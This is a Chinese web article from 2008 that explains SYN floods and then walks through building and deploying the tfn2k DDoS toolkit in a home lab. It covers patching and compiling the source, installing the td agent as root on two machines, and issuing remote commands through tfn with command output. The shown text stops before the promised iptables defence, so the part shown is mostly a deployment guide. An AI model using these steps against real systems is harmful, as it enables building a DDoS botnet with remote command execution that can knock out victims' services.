分享
 
 
 

分布式拒绝服务攻击及iptables过滤测试

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

首先,我写这篇文章的目的,并不是我想成为什么hacker之类,而且我不并不鼓励任何人利用它来做一些有损他人的事情,我只是想多一些人关注网络安全,共同研究并防御DOS。因为我是深受其害:(,所以,这篇文章仅用于技术参考,供大家研究DDOS防御之用。如果你利用它来做一些不合法的事情,那结果与我无关。

拒绝服务攻击(DOS,Denial Of Service)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成的dos,可能性非常小,更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,Distributed Denial Of Service),利用更多的代理集中攻击目标,其危害更大。

我们大家都知道tcp/ip协议现在已经成为整个internet框架协议,可以说,如果没有tcp/ip,至少internet不会像现在这样普及,甚至不可能会有internet。但凡事皆有两面性,tcp/ip使我们大家受益,同时因为协议本身构造的问题,它也成为别人攻击我们的工具。我们以tcp三握手建立连接的过程来说明。

一、tcp syn flood

1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器,此数据包内包含客户端端口及tcp序列号等基本信息。

2.服务器(server)接收到SYN包之后,将发送一个SYN-ACK包来确认。

3.客户端在收到服务器的SYN-ACK包之后,将回送ACK至服务器,服务器如接收到此包,则TCP连接建立完成,双方可以进行通讯(感觉像,一拜天地...二拜高堂...送入洞房...哈哈)

问题就出在第3步,如果服务器收不到客户端的ACK包,将会等待下去,这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系统不同),如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种攻击往往事半'罪'倍,杀伤力超强。

当然,DOS攻击的方法多种多样,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到 http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很详细的原理及常用攻击软件介绍。不过说到DOS攻击软件,最具代表的莫过于tfn2k (Tribe Flood Network 2000),其作者是德国大名鼎鼎的mixter(其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k,哎~~,不知道又有多少人寝食难安了...

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作,其所能实现的功能让人瞠目结舌,叹为观止...(对它的敬畏有如滔滔江水,延续不绝...)来看看它的架构。

主控端---运行tfn客户端,来遥控并指定攻击目标,更改攻击方法.(罪大恶极)

代理端---被植入并运行td进程的牺牲品,接受tfn的指挥,攻击的实施者.需要注意的是,一个攻击者,往往控制多台代理来完成攻击,而且其系统多为unix,linux等.(可怜的牺牲品)

目标主机---被攻击的主机或网络,曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁闷如我)

2.tfn2k特性。

◆ 主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、ICMP/PING、混合攻击、TARGA3等。

◆ 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会逆向向主控端发送任何信息.

◆ 所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证.

◆ 利用td进程,主控端可以远程执行shell命令.

◆ td进程的名称可以在编译时更改,更便于隐藏.

◆ tfn可以编译运行于win32及linux系统的.

...

至于伪造源IP地址等功能,更是基本功能,并且其与老版本的tfn相比,它的发包效率更高,我自已的测试,在短短不到5分钟,两台代理机,使我的redhat linux 9.0系统瘫痪.

三.tfn2k 实战测试

1.测试环境:

软件:redhat linux 9.0

硬件平台:

master:

IP: 192.168.0.6

PIV2.4/256*2/rtl8139

Ag1 :

IP: 192.168.0.2

PIV2.4/256*/rtl8139

AG2 : IP: 192.168.0.3

pIV2.6/512*2/3c905

AIM: 192.168.0.5

pIV2.66c/512*2/3c905

switch: D_link des 1024R

1.下载tfn2k.tgz(因为此软件非比寻常,所以我并不提供下载地址,如果有兴趣,自已到网上找吧)

2.解压: tar zxvf tfn2k.tgz

3.修改文件

A. src/Makefile 如果你的系统是linux系统,不需要做任何修就可以,如果是win32系统,请将

# Linux / *BSD* / Others

CC = gcc

CFLAGS = -Wall -O3

CLIBS =

这几行注释掉,并将

# Win32 (cygwin)

#CC = gcc

#CFLAGS = -Wall -DWINDOZE -O2

#CLIBS =

这几行的注释去掉.因为我的测试系统为redhat linux 9.0所以并未做任何修改.

B. src/config.h ,默认的就可以用,如果感兴趣,可以照其注释信息进行调整。

C. src/ip.h 这里要做一些修改,否则编译会有错误,发生重复定义。

/*struct in_addr

{

unsigned long int s_addr;

};*/

注意啊~~我可是将它放在"/* */"之间,也就是注释掉了:)

D.更改编译器:

因为tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc,tfn2k是编译不过去的.需要注意的是,更改之后,有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行.

方法很简单的,找到一张redhat linux 6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/

cd /mnt/cdrom/Redhat/RPMS

cp egcs-1.1.2-30* cpp-1.1.2-30* ~/

安装cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm

安装egcs rpm -Uvh egcs-1.1.2-30.i386.rpm

(如果提示有误,用nodeps、oldpackages、ignoreos等参数忽略过去就是了)

4.编译tfn2k

cd tfn2k/src

make

首先会谈出一个声明,你必须接受,之后会提示输入8-32位密码,前边提到过,这是唯一的认证凭证,会被分发于td进程中,所以一定要记牢噢~。

编译通过后,会产生td及tfn,这就是大名鼎鼎的tfn2k啦~,td是守护进程,用来安装在代理中的,而tfn就是控制端.

5.安装td.

将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因为我只不过测试,所以用的是合法的root来上传并执行td进程的,如果真要找到并安装一个代理,你可能得费点儿神,因为没有一个管理员会说“come on baby ~~.我给你root,来安装td做代理吧”

[root@test /] ftp 192.168.0.2

Connected to 192.168.0.2.

530 Please login with USER and PASS.

530 Please login with USER and PASS.

Name (192.168.0.2:root): wjpfjy

331 Please specify the password.

Password:

230 Login successful. Have fun.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp put td (上传td)

local: td remote: td

227 Entering Passive Mode (192,168,0,3,198,225)

553 Could not create file.

ftp by (退出ftp)

221 Goodbye.

[root@test /]ssh 192.168.0.2

//登陆到ag1 以执行td ,注意,我用的是root帐户,这样才有足够的权限来执行它.

root@192.168.0.2's password:

Last login: Tue Feb 24 06:51:13 2004

[root@ ag1 /]find / -name td -print

//找到刚上传过来的文件td.

[root@ ag1 wjpfjy/]chmod a+x td

//使之具有执行权限.

[root@ ag1 wjpfjy/]./td

//运行td ,这样你就拥有一个代理了,它会对你唯命是从的:(。

用同样的方法在ag2 (192.168.0.3)上安装并运行TFN2k进程td.

6.攻击开始(悲惨的回忆上演中...)

回到master(192.168.0.6 ),准备演练...

[root@master root]#touch host.txt

//建立代理记录文件(因为如果你足够无聊的话,有可能会建立很多的肉鸡-

//代理,不记下会忘记的噢.)

[root@master root]echo "192.168.0.2" host.txt 将执行过td的ag1加入host.txt。

[root@master root]echo "192.168.0.3" host.txt 添加ag2到host.txt .

先来测试一下链接。

[root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 与host.txt中的代理通讯,让其执行命令mkdir wjpfjy即建立一个目录

Protocol : random

Source IP : random

Client input : list

Command : execute remote command

Password verification:

//这里,会被提示输入密码,也就是编译时输入的密码,如果错了,将无法与td进程通讯

Sending out packets: ..

到ag1和ag2看看有没有建立目录名wjpfjy,一般情况下,

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有